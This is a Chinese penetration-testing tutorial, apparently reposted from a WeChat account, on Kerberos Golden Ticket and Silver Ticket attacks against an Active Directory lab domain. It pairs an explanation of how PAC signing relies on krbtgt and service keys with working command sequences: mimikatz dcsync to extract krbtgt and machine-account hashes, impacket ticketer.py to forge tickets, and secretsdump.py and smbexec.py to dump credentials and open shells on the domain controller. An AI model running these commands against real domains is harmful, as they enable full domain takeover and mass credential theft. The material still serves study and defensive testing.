黄金票据(GoldenTicket)攻击
在Kerberos认证过程的AS-REP阶段,在经过预认证后,KDC的AS认证服务返回的TGT认购权证中加密部分authorization-data是使用krbtgt密钥加密的,而authorization-data中存放着代表用户身份的PAC,并且在这个阶段PAC的PAC_SERVER_CHECKSUM签名和PAC_PRIVSVR_CHECKSUM签名的密钥都是krbtgt密钥。因此,只要我们能拥有krbtgt的密钥,就能够伪造高权限的PAC,然后将其封装在TGT认购权证中。客户端再拿着这个TGT认购权证以高权限请求任意服务的服务票据!需要说明的是,使用krbtgt密钥生成高权限的TGT认购权证这个过程是离线的,不需要连接KDC。这个攻击过程被称为黄金票据(GoldenTicket)传递攻击。
要创建黄金票据,我们需要知道以下信息:
通过在域控上查询我们得到如下信息:
mimikatz.exe
lsadump::dcsync /domain:rkabyss.com /user:krbtgt /csv
exit
现在我们需要利用这些信息来进行黄金票据传递攻击了。能进行黄金票据传递攻击的工具有很多,这里只介绍使用impacket、mimikatz和CobaltStrike来进行黄金票据传递攻击。
实验环境如下:
1.使用impacket进行攻击
我们可以使用impacket下的ticketer.py脚本来离线生成黄金票据,然后将票据导入内存中,即可使用secretsdump.py、smbexec.py等脚本进行后利用。
#生成黄金票据
python3 ticketer.py -domain-sid S-1-5-21-2868541198-210551720-3019540620 -nthash c98295cd9debc26cde3eeb32539eb8af -domain rkabyss.com administrator
#导入票据
export KRB5CCNAME=administrator.ccache
#导出administrator用户的哈希
python3 secretsdump.py -k -no-pass administrator@DC01.rkabyss.com -dc-ip 10.10.10.14 -just-dc-user administrator
通过黄金票据攻击获得了域控DC01和域内主机win10的最高权限了。
#访问域控AD01
python3 smbexec.py -no-pass -k administrator@DC01.rkabyss.com -dc-ip 10.10.10.14
#访问域内主机win10
python3 smbexec.py -no-pass -k administrator@win10.rkabyss.com -dc-ip 10.10.10.14 -codec gbk
2.使用mimikatz进行攻击
使用mimikatz进行攻击的话,攻击机可以是域中的普通机器,也可以不是域中的机器。当攻击机不在域中时,需要将DNS服务器设置为域控。首先执行如下命令可以看到本机并没有权限导出域内任意用户哈希。
mimikatz.exe "lsadump::dcsync /domain:rkabyss.com /user:krbtgt /csv" "exit"
然后执行如下命令生成黄金票据并导入内存中,就拥有导出任意用户哈希的权限了。
mimikatz.exe
#生成并导入黄金票据到当前内存中
kerberos::golden /user:administrator /domain:rkabyss.com /sid:S-1-5-21-2868541198-210551720-3019540620 /krbtgt:c98295cd9debc26cde3eeb32539eb8af /ptt
#验证是否成功,导出指定用户哈希
lsadump::dcsync /domain:rkabyss.com /user:krbtgt /csv
通过黄金票据攻击之后,即有权限导出域内任意用户哈希了。
3.使用CobaltStrike进行攻击
获取一台内网中主机的权限。
然后如下操作,选中目标session,然后右键执行——>黄金票据
输入相应的信息后,点击生成。
可以看到黄金票据生成并导入内存中了。
然后就可以执行高权限操作了,导出域内任意用户哈希。
白银票据(SilverTicket)攻击
在Kerberos认证过程的TGS-REP阶段,在验证了客户端发来的TGT认购权证的真实性和会话安全性后,KDC的TGS票据授予服务将返回指定服务的ST服务票据。ST服务票据中加密部分authorization-data是使用服务密钥加密的,而authorization-data中存放着代表用户身份的PAC,并且在这个阶段PAC的PAC_SERVER_CHECKSUM签名的密钥也是服务密钥(但是该阶段PAC的PAC_PRIVSVR_CHECKSUM签名的密钥是krbtgt密钥,此时客户端并不能伪造PAC_PRIVSVR_CHECKSUM签名)。因此,只要我们能拥有指定服务的密钥,就能够伪造高权限的PAC,然后将其封装在ST服务票据中,并对其进行PAC_SERVER_CHECKSUM签名和加密。客户端再拿着这个ST服务票据以高权限访问指定服务!这里需要说明的是,由于PAC_PRIVSVR_CHECKSUM签名的验证是可选的,并且默认不开启。因此即使攻击者无法伪造PAC_PRIVSVR_CHECKSUM签名,也能利用该ST服务票据以高权限进行正常请求!这个攻击过程被称为白银票据(SilverTicket)传递攻击。
要创建白银票据,我们需要知道以下信息:
以下我们进行白银票据攻击使用的服务是域控DC01的服务,可以是LDAP/CIFS/WinRM等服务。因此这里的密钥就是域控DC01$机器账号的密钥了。当请求的是指定服务如LDAP服务时,拥有的权限也只能是指定服务的权限。
通过在域控上查询我们得到如下信息:
lsadump::dcsync /domain:rkabyss.com /user:DC01$ /csv
实验环境如下:
1.使用impacket进行攻击
我们可以使用impacket下的ticketer.py脚本来离线生成白银票据,然后将票据导入内存中,即可使用secretsdump.py、smbexec.py等脚本进行后利用。
#生成白银票据
python3 ticketer.py -domain-sid S-1-5-21-2868541198-210551720-3019540620 -nthash d212cd4168f4fe97b112c119b3c3d31e -spn cifs/DC01.rkabyss.com -domain rkabyss.com administrator
#导入票据
export KRB5CCNAME=administrator.ccache
#访问域控AD01
python3 smbexec.py -no-pass -k administrator@DC01.rkabyss.com -dc-ip 10.10.10.14
对域控DC01进行基于cifs服务的白银票据攻击,攻击完成后,获得域控的最高权限。
#导出administrator用户的哈希
python3 secretsdump.py -k -no-pass administrator@DC01.rkabyss.com -dc-ip 10.10.10.14 -just-dc-user administrator
2.使用mimikatz进行攻击
使用mimikatz进行攻击的话,攻击机可以是域中的普通机器,也可以不是域中的机器。当攻击机不在域中时,需要将DNS服务器设置为域控。首先执行如下命令可以看到本机并没有权限导出域内任意用户哈希。
mimikatz.exe "lsadump::dcsync /domain:rkabyss.com /user:krbtgt /csv" "exit"
可以看到默认情况下本机无权限导出域内任意用户哈希。
然后执行如下命令生成白银票据并导入内存中,就拥有导出任意用户哈希的权限了。
mimikatz.exe
#生成并导入黄金票据到当前内存中
kerberos::golden /domain:rkabyss.com /sid:S-1-5-21-2868541198-210551720-3019540620 59191 /target:DC01.rkabyss.com /service:ldap /rc4:d212cd4168f4fe97b112c119b3c3d31e /user:administrator /ptt
#验证是否成功,导出指定用户哈希
lsadump::dcsync /domain:rkabyss.com /user:krbtgt /csv
通过对域控的ldap服务进行白银票据攻击之后,即有权限导出域内任意用户哈希。
3.使用CobaltStrike进行攻击
当使用CobaltStrike进行攻击时,上线的机器可以是域中的普通机器,也可以不是域中的机器。当上线的机器不在域中时,需要将该机器的DNS服务器设置为域控。由于CobaltStrike默认自带没有白银票据的功能,因此这里使用插件进行白银票据攻击。
选中白银票据。
输入相应的信息后,点击开始。
可以看到白银票据生成并导入内存中了。
然后就可以执行高权限操作了,导出域内任意用户哈希。
原文始发于微信公众号(我真不会渗透):PTT票据传递攻击
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论